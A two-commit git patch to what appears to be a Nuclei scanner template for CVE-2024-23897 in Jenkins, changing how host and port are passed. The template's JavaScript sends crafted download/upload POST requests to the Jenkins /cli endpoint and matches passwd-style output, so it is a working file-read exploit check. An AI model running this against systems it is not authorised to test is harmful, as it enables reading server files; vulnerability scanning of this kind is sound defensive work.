From 61e5b1b0eb0351c2d57f2f9af15caae24ed9d513 Mon Sep 17 00:00:00 2001 From: Tarun Koyalwar Date: Fri, 26 Jul 2024 18:16:48 +0530 Subject: [PATCH 1/2] update template to use Port argument --- javascript/cves/2024/CVE-2024-23897.yaml | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/javascript/cves/2024/CVE-2024-23897.yaml b/javascript/cves/2024/CVE-2024-23897.yaml index 62f37481b9..d0ac9ceba7 100644 --- a/javascript/cves/2024/CVE-2024-23897.yaml +++ b/javascript/cves/2024/CVE-2024-23897.yaml @@ -39,16 +39,18 @@ javascript: isPortOpen(Host,Port); code: | let m = require('nuclei/net'); - let name=(Host.includes(':') ? Host : Host+":80"); + let address = Host+":"+Port; let conn,conn2; - try { conn = m.OpenTLS('tcp', name) } catch { conn= m.Open('tcp', name)} + try { conn = m.OpenTLS('tcp', address) } catch { conn= m.Open('tcp', address)} conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n'); - try { conn2 = m.OpenTLS('tcp', name) } catch { conn2= m.Open('tcp', name)} + try { conn2 = m.OpenTLS('tcp', address) } catch { conn2= m.Open('tcp', address)} conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body) resp = conn.RecvString(1000) args: Body: "{{payload}}" - Host: "{{Hostname}}" + Host: "{{Host}}" + Port: "80" # if port not specified, default to 80 + exclude-ports: "0" # override default skip list of 80,443,8080,8443 matchers: - type: dsl @@ -59,5 +61,4 @@ javascript: - type: regex group: 1 regex: - - '\b([a-z_][a-z0-9_-]{0,31})\:x\:' -# digest: 490a0046304402206177320674364c9d4ca08784b566ee26f51797e931f44e2344b29753e9eb7f4f02200b80670626fb457ae4142d6b191740d2c0e7d499b6a08f246a375ddd7abc4e86:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '\b([a-z_][a-z0-9_-]{0,31})\:x\:' \ No newline at end of file From 9b2c596aee8c39486767cb7fb563d415862bb012 Mon Sep 17 00:00:00 2001 From: Tarun Koyalwar Date: Fri, 26 Jul 2024 18:19:40 +0530 Subject: [PATCH 2/2] use multiple ports --- javascript/cves/2024/CVE-2024-23897.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/cves/2024/CVE-2024-23897.yaml b/javascript/cves/2024/CVE-2024-23897.yaml index d0ac9ceba7..f8a3df2704 100644 --- a/javascript/cves/2024/CVE-2024-23897.yaml +++ b/javascript/cves/2024/CVE-2024-23897.yaml @@ -49,7 +49,7 @@ javascript: args: Body: "{{payload}}" Host: "{{Host}}" - Port: "80" # if port not specified, default to 80 + Port: 80,443 # if port not specified, defaults to both 80 and 443 exclude-ports: "0" # override default skip list of 80,443,8080,8443 matchers: